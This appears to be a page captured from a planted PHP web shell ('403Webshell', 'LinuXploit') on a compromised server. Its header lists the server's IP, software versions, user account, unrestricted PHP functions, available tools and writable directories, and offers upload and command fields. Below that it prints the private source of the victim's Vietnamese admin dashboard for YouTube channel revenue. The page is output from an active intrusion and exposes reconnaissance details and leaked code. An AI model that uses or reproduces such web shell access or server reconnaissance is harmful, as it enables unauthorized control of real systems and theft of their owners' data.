403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.140
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/rubymnik/public_html/admin/quanlykenh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rubymnik/public_html/admin/quanlykenh/phantichchitiet.php
<?php
$page = "../";
include '../../configchannel.php';
include '../configtotal.php';
$resultDate = mysqli_fetch_assoc(Select('SoLieuChannel', false, "" ,'`SoLieuChannel`.`NgayUpdate` DESC'));
$resultDateCheck = Select('SoLieuChannel', true, "`DoanhThu` > 0 AND `NgayUpdate` = '".$resultDate['NgayUpdate']."'" ,'`SoLieuChannel`.`NgayUpdate` DESC');
if($resultDateCheck > 0)
{
	$ngaySQL = $resultDate['NgayUpdate'];
}
else
{
	$thoiGianGioiHan = date('d/m/Y', strtotime('-1 day', strtotime($resultDate['NgayUpdate'])));
	$date = explode('/', $thoiGianGioiHan);
	$time = mktime(0,0,0,$date[1],$date[0],$date[2]);
	$mysqldate = date( 'Y-m-d H:i:s', $time);
	$ngaySQL = $mysqldate;
}
$thoiGianGioiHan = date('d/m/Y', strtotime('-28 day', strtotime($ngaySQL)));
$date = explode('/', $thoiGianGioiHan);
$time = mktime(0,0,0,$date[1],$date[0],$date[2]);
$mysqldate = date( 'Y-m-d H:i:s', $time);
?>

<?php $titlepage = "Phân Tích Chi Tiết Channel" ?>
<?php $page = "../" ?>
<?php  include '../header/taskbar.php'; ?>

<div class="container-fluid">
                        
                        <!-- start page title -->
                        <div class="row">
                            <div class="col-12">
                                <div class="page-title-box">
                                    <h4 class="page-title"><?php echo $titlepage; ?></h4>
                                </div>
                            </div>
                        </div>     
                        <!-- end page title --> 
						
                        <div class="row">
                            <div class="col-12">
								
                                <div class="card">
								
                                    <div class="card-body">
									<span class="badge bg-info hrefa" name="nhansuclick" data-value="all">Tất Cả</span>
									<?php
													if($_SESSION['login']['Admin'] == 1)
													{
														$result = Select('NguoiLam', false, "", "");
													}
													else
													{
														$result = Select('NguoiLam', false, "`QuanLy` = ".$_SESSION['login']['id']." OR `id` = ".$_SESSION['login']['id']."", "");
													}
										while($res = mysqli_fetch_array($result)) :
									?>
									<span class="badge bg-info hrefa" name="nhansuclick" data-value="<?php echo $res['id']; ?>"><?php echo $res['TenNhanVien']; ?></span>
									<?php endwhile; ?>
									</div>
                                    <div class="card-body">
									
                                        <div class="table-responsive">
                                            <table class="table table-borderless table-nowrap table-hover table-centered m-0">
    
                                                <thead class="table-light">
                                                    <tr>
														<th>STT</th>
                                                        <th>Channel</th>
                                                        <th>Người Làm</th>
                                                        <th id="view28ngay">View 28 Ngày <i data-feather="chevron-up"></i></th>
														<th id="viewhomnay">View Hôm Nay <i data-feather="chevron-up"></i></th>
                                                        <th id="usd28ngay">USD 28 Ngày <i data-feather="chevron-up"></i></th>
                                                        <th id="usdhomnay">USD Hôm Nay <i data-feather="chevron-up"></i></th>
                                                    </tr>
                                                </thead>
                                                <tbody id="dataload">
												<?php
														// get danh sách channel
														$resultchannel = SelectAll('QuanLyChannel',"SELECT QuanLyChannel.id AS IDChannelSQL, NameChannel, QuanLyChannel.IdChannel as IdKenh, NgayUpdate, SUM(SoLuotXem) AS TongLuotXem, ROUND(SUM(DoanhThu),0) AS TongDoanhThu, IdNguoiLam FROM QuanLyChannel JOIN SoLieuChannel ON QuanLyChannel.id = SoLieuChannel.IdChannel WHERE `NgayUpdate` <= '".$ngaySQL."' AND `NgayUpdate` >= '".$mysqldate."' GROUP BY SoLieuChannel.IdChannel ORDER BY TongLuotXem DESC LIMIT 20");
														$dem = 0;
														while($res = mysqli_fetch_array($resultchannel))
														{
															$dem++;
															?>
															<?php
																$thoiGianGioiHan56 = date('d/m/Y', strtotime('-56 day', strtotime($ngaySQL)));
																$date = explode('/', $thoiGianGioiHan56);
																$time = mktime(0,0,0,$date[1],$date[0],$date[2]);
																$mysqldate = date( 'Y-m-d H:i:s', $time);
																$resultChannelGet = Select('SoLieuChannel', false, "`SoLieuChannel`.`IdChannel` = ".$res['IDChannelSQL']." AND `NgayUpdate` <= '".$ngaySQL."' AND `NgayUpdate` > '".$mysqldate."'", "`SoLieuChannel`.`NgayUpdate` DESC");
																while($resChannelGet = mysqli_fetch_array($resultChannelGet))
																{
																	$listDuLieuKenh[] = $resChannelGet;
																}
																$resultDoanhThuChannel = $listDuLieuKenh[0];
																$soLuotXem = $resultDoanhThuChannel['SoLuotXem'];
																$thoiGianXemTrungBinh = $resultDoanhThuChannel['ThoiGianXemTrungBinh'];
																$thoiGianGet = date("d/m/Y", strtotime($resultDoanhThuChannel['NgayUpdate']));
																
																$thoiGian = '<span style="color: green;">'.$thoiGianGet.'</span>';
																if($ngayCapNhat > $thoiGianGet)
																{
																	$thoiGian = '<span style="color: red;">'.$thoiGianGet.'</span>';
																}
																
																// tính tăng trưởng
																
																// phút xem
																$phutXemMoi = strtotime($listDuLieuKenh[0]['ThoiGianXemTrungBinh']);
																$phutXemCu = strtotime($listDuLieuKenh[1]['ThoiGianXemTrungBinh']);
																$thoiGianXemTrungBinhTangTruong = '<i style="color: #5dec7c;" class="fa fa-caret-up text-primary m-r-5"></i>';
																if($phutXemMoi < $phutXemCu)
																{
																	$thoiGianXemTrungBinhTangTruong = '<i class="fa fa-caret-down text-danger m-r-5"></i>';
																}
																
																// doanh thu
																$doanhThuMoi = $listDuLieuKenh[0]['DoanhThu'];
																$doanhThucu = $listDuLieuKenh[1]['DoanhThu'];
																$doanhThuTangTruong = '<i style="color: #5dec7c;" class="fa fa-caret-up text-primary m-r-5"></i> <span style="color: #5dec7c;">$ ' . number_format(($doanhThuMoi - $doanhThucu)) . '</span>';
																if($doanhThuMoi < $doanhThucu)
																{
																	$doanhThuTangTruong = '<i class="fa fa-caret-down text-danger m-r-5"></i> <span style="color: #f05050;">$ ' . number_format(($doanhThucu - $doanhThuMoi)) . '</span>';
																}
																else if($doanhThuMoi == $doanhThucu && $doanhThuMoi == 0 && $doanhThu28Moi == 0)
																{
																	$doanhThuTangTruong = "Chưa BKT";
																}
																// lượt xem
																$luotXemMoi = $listDuLieuKenh[0]['SoLuotXem'];
																$luotXemCu = $listDuLieuKenh[1]['SoLuotXem'];
																$luotXemTangTruong = '<i style="color: #5dec7c;" class="fa fa-caret-up text-primary m-r-5"></i> <span style="color: #5dec7c;">' . number_format(($luotXemMoi - $luotXemCu)) . '</span>';
																if($luotXemMoi < $luotXemCu)
																{
																	$luotXemTangTruong = '<i class="fa fa-caret-down text-danger m-r-5"></i> <span style="color: #f05050;">' . number_format(($luotXemCu - $luotXemMoi)) . '</span>';
																}
																else if($luotXemMoi == $luotXemCu && $luotXemMoi == 0)
																{
																	$luotXemTangTruong = "";
																}
																// tang truong 28 ngay doanh thu
																$doanhThu28Moi = 0;
																$luotXem28NgayMoi = 0;
																for($ba = 0; $ba < 28; $ba++)
																{
																	if($ba >= count($listDuLieuKenh)) break;
																	$doanhThu28Moi += $listDuLieuKenh[$ba]['DoanhThu'];
																	$luotXem28NgayMoi += $listDuLieuKenh[$ba]['SoLuotXem'];
																}
																$doanhThu28Cu = 0;
																$luotXem28NgayCu = 0;
																for($ia = 28; $ia < 56; $ia++)
																{
																	if($ia >= count($listDuLieuKenh)) break;
																	$doanhThu28Cu += $listDuLieuKenh[$ia]['DoanhThu'];
																	$luotXem28NgayCu += $listDuLieuKenh[$ia]['SoLuotXem'];
																}
																$doanhThuTangTruong28 = '<i style="color: #5dec7c;" class="fa fa-caret-up text-primary m-r-5"></i> <span style="color: #5dec7c;">$ ' . number_format(($doanhThu28Moi - $doanhThu28Cu)) . '</span>';
																if($doanhThu28Moi < $doanhThu28Cu)
																{
																	$doanhThuTangTruong28 = '<i class="fa fa-caret-down text-danger m-r-5"></i> <span style="color: #f05050;">$ ' . number_format(($doanhThu28Cu - $doanhThu28Moi)) . '</span>';
																}
																else if($doanhThu28Moi == $doanhThu28Cu && $doanhThu28Moi == 0)
																{
																	$doanhThuTangTruong28 = "";
																}
																$luotXemTangTruong28Ngay = '<i style="color: #5dec7c;" class="fa fa-caret-up text-primary m-r-5"></i> <span style="color: #5dec7c;"> ' . number_format(($luotXem28NgayMoi - $luotXem28NgayCu)) . '</span>';
																if($luotXem28NgayMoi < $luotXem28NgayCu)
																{
																	$luotXemTangTruong28Ngay = '<i class="fa fa-caret-down text-danger m-r-5"></i> <span style="color: #f05050;"> ' . number_format(($luotXem28NgayCu - $luotXem28NgayMoi)) . '</span>';
																}
																else if($luotXem28NgayMoi == $luotXem28NgayCu && $luotXem28NgayMoi == 0)
																{
																	$luotXemTangTruong28Ngay = "";
																}
																
																// tính RPM
																$rpmMoi = $listDuLieuKenh[0]['DoanhThu']/($listDuLieuKenh[0]['SoLuotXem']/1000);
																$rpmCu = $listDuLieuKenh[1]['DoanhThu']/($listDuLieuKenh[1]['SoLuotXem']/1000);
																$rpmTangTruong = '<i style="color: #5dec7c;" class="fa fa-caret-up text-primary m-r-5"></i> <span style="color: #5dec7c;">' . number_format(($rpmMoi - $rpmCu), 2) . '</span>';
																if($rpmMoi < $rpmCu)
																{
																	$rpmTangTruong = '<i class="fa fa-caret-down text-danger m-r-5"></i> <span style="color: #f05050;">' . number_format(($rpmCu - $rpmMoi), 2) . '</span>';
																}
																else if($rpmMoi == $rpmCu && $rpmMoi == 0)
																{
																	$rpmTangTruong = "";
																}
																$listDuLieuKenh = "";
																?>
                                                    <tr>
														<td><?php echo $dem; ?></td>
                                                        <td>
                                                            <h5 class="m-0 fw-normal"><a href="https://www.youtube.com/channel/<?php echo $res['IdKenh']; ?>" target="_blank">
															<?php 
																$namesplit = split(' ',$res['NameChannel']);
																if(count($namesplit) > 2)
																{
																	echo $namesplit[0] . ' ' . $namesplit[1];
																}
																else
																{
																	echo $res['NameChannel'];
																}
																?></a></h5>
                                                        </td>
        
                                                        <td>
                                                            <?php 
																	$resultQL = mysqli_fetch_assoc(Select('NguoiLam', false, "`id` = ".$res['IdNguoiLam']."" ,''));
																	if(isset($resultQL['id']))
																	{
																		echo split(' ', $resultQL['TenNhanVien'])[count(split(' ', $resultQL['TenNhanVien']))-1];
																		
																	}
																	else
																	{
																		echo "NONE";
																	}
																?>
                                                        </td>
        
                                                        <td>
                                                            <div style="float: left;"> <?php echo number_format($res['TongLuotXem']); ?></div>
                                                                
																<div style="margin-top: 6px; margin-left: 5px; float: left;">
																	<div style="font-size: 9px;">
																		<?php echo $luotXemTangTruong28Ngay; ?>	
																	</div>
																</div>
                                                        </td>
														<td>
                                                            <div style="float: left;"> <?php echo number_format($luotXemMoi); ?></div>
                                                                
																<div style="margin-top: 6px; margin-left: 5px; float: left;">
																	<div style="font-size: 9px;">
																		<?php echo $luotXemTangTruong; ?>	
																	</div>
																</div>
                                                        </td>
                                                        <td>
                                                            <div style="float: left;"> <?php echo '$ ' . number_format($res['TongDoanhThu']); ?></div>
																<div style="margin-top: 6px; margin-left: 5px; float: left;">
																	<div style="font-size: 9px;">
																		<?php echo $doanhThuTangTruong28; ?>	
																	</div>
																</div>
                                                        </td>
        
                                                        <td>
                                                            <div style="float: left;"><?php echo '$ ' . number_format($resultDoanhThuChannel['DoanhThu']) . ''; ?></div>
																<div style="margin-top: -2px; margin-left: 10px; float: left;">
																	<div style="font-size: 8px;">
																		<?php echo $thoiGian; ?>
																	</div>
																	<div style="font-size: 9px;">
																		<?php echo $doanhThuTangTruong; ?>	
																	</div>
																</div>
                                                        </td>
                                                    </tr>
    
                                                    <?php
													}
													if($dem == 1)
													{
														?>
														<tr><td>Không có kênh có doanh thu</td>
														<td></td>
														<td></td>
														<td></td>
														<td></td>
														</tr>
														
														<?php
													}
													?>
												
                                                </tbody>
                                            </table>
											
                                        </div> <!-- end .table-responsive-->
                                    </div>
									<nav aria-label="Page navigation example">
                                                    <ul class="pagination justify-content-center">
                                                        <li class="page-item">
                                                            <a class="page-link" id="pre"><span aria-hidden="true">«</span> Trước</a>
                                                        </li>
                                                        <li class="page-item">
                                                            <a class="page-link" id="next">Sau <span aria-hidden="true">»</span></a>
                                                        </li>
                                                    </ul>
                                    </nav>
                                </div> <!-- end card-->
                           
                            </div> <!-- end col -->
                        </div>
                        <!-- end row -->
                        
                    </div> <!-- container -->


<?php  include '../header/footer.php'; ?>
<script>
var checkkieuxem = "view28ngay";
var page = 1;
var nhansu = "all";
var saveatribuicu = null;
function loadpage()
{
	$.ajax({url: "phantichkenh_ajax.php?type=" + checkkieuxem + "&page=" + page + "&nhansu=" + nhansu, success: function(result){
		$("#dataload").html(result);
    }});
}
$(document).ready(function(){
  $("#view28ngay").click(function(){
	page = 1;
    checkkieuxem = "view28ngay";
	loadpage();
  });
  $("#viewhomnay").click(function(){
	page = 1;
	checkkieuxem = "viewhomnay";
	loadpage();
    
  });
  $("#usd28ngay").click(function(){
	  page = 1;
	  checkkieuxem = "usd28ngay";
	  loadpage();
  });
  $("#usdhomnay").click(function(){
	  page = 1;
	  checkkieuxem = "usdhomnay";
	  loadpage();
  });
  $("#pre").click(function(){
	  page--;
	  if(page <= 1) page = 1;
	  
	  loadpage();
  });
  $("#next").click(function(){
	  page++;
	  loadpage();
  });
  $("[name='nhansuclick']").click(function(e){
		nhansu = $(this).data("value");
		if(saveatribuicu != null)
		{
			saveatribuicu.attr("class","badge bg-info hrefa");
		}
		saveatribuicu = $(this);
		saveatribuicu.attr("class","badge bg-danger hrefa");
		page = 1;
		loadpage();
  });
});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit